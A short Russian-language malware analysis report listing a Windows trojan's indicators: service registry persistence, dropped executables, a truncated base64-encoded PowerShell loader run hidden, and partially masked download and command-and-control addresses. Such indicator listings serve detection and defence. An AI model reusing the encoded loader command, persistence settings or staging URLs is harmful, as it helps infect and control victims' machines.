Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\KBDHE220] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\KBDHE220] 'ImagePath' = '"%WINDIR%\SysWOW64\msexch40\KBDHE220.exe"'
- 'KBDHE220' "%WINDIR%\SysWOW64\msexch40\KBDHE220.exe"
- 'KBDHE220' %WINDIR%\SysWOW64\msexch40\KBDHE220.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABHAGgAYgBqAGwAagB3AD0AKAAoACcATgBfACcAKwAnAGYAJwApACsAKAAnAHQANQAnACsAJwBmADcAJwApACkAOwAmACgAJwBuAGUAdwAtAGkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABFAE4AVgA6AFUAcwBFAFIAcA...
- %HOMEPATH%\olgtqfs\wda5pgn\pt8izs8v5.exe
- %WINDIR%\syswow64\msexch40\kbdhe220.exe
- %HOMEPATH%\olgtqfs\wda5pgn\pt8izs8v5.exe в %WINDIR%\syswow64\msexch40\kbdhe220.exe
- '12#.#2.203.42':80
- http://vo###fitz.com/wp-content/se/
- http://12#.#2.203.42/OVlZk4p4xd/556kr2iVK1pu9A8O/UOWPup94C/WsC1RJOzdXDLW/AKE9TOu/
- DNS ASK vo###fitz.com
- '%HOMEPATH%\olgtqfs\wda5pgn\pt8izs8v5.exe'
- '%WINDIR%\syswow64\msexch40\kbdhe220.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABHAGgAYgBqAGwAagB3AD0AKAAoACcATgBfACcAKwAnAGYAJwApACsAKAAnAHQANQAnACsAJwBmADcAJwApACkAOwAmACgAJwBuAGUAdwAtAGkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABFAE4AVgA6AFUAcwBFAFIAcA...' (со скрытым окном)